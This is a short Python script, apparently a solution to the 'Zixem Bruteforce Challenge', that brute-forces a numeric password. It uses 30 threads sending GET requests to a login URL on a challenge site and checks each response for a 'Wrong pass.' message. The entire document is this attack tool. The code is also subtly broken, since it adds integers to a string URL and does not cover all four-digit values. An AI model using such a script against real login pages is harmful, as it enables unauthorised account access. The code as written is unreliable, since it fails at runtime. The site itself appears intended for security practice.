Zixem Bruteforce Challenge

.py

import sys, os
from requests import get
from queue import Queue
from threading import Thread

pwd_l=Queue()
NTHREADS=30
URL = 'http://www.zixem.altervista.org/SQLi/login_do.php?pass='
ERRMSG='Wrong pass.'

class Worker(Thread):
	global URL, ERRMSG

	def __init__(self):
		super(Worker,self).__init__()

	def run(self):
		while 1:
			if pwd_l.empty():
				return
			passw = pwd_l.get()
			self.login(passw)
			pwd_l.task_done()

	def login(self, passw):
		try:
			r=get(URL + passw)
			if(ERRMSG in r.text):
				pass
			else:
				print('Password found:', passw)
				os.kill(os.getpid(),9)
		except Exception as e:
			raise e

            
def main():
	print(f'Starting brute force on {URL}')

	for n in range(0,9999):
		pwd_l.put(n)

	for child in range(NTHREADS):
		child = Worker()
		child.daemon=True
		child.start();

	# wait for children to finish working
	pwd_l.join()

    
if __name__ == '__main__':
	main()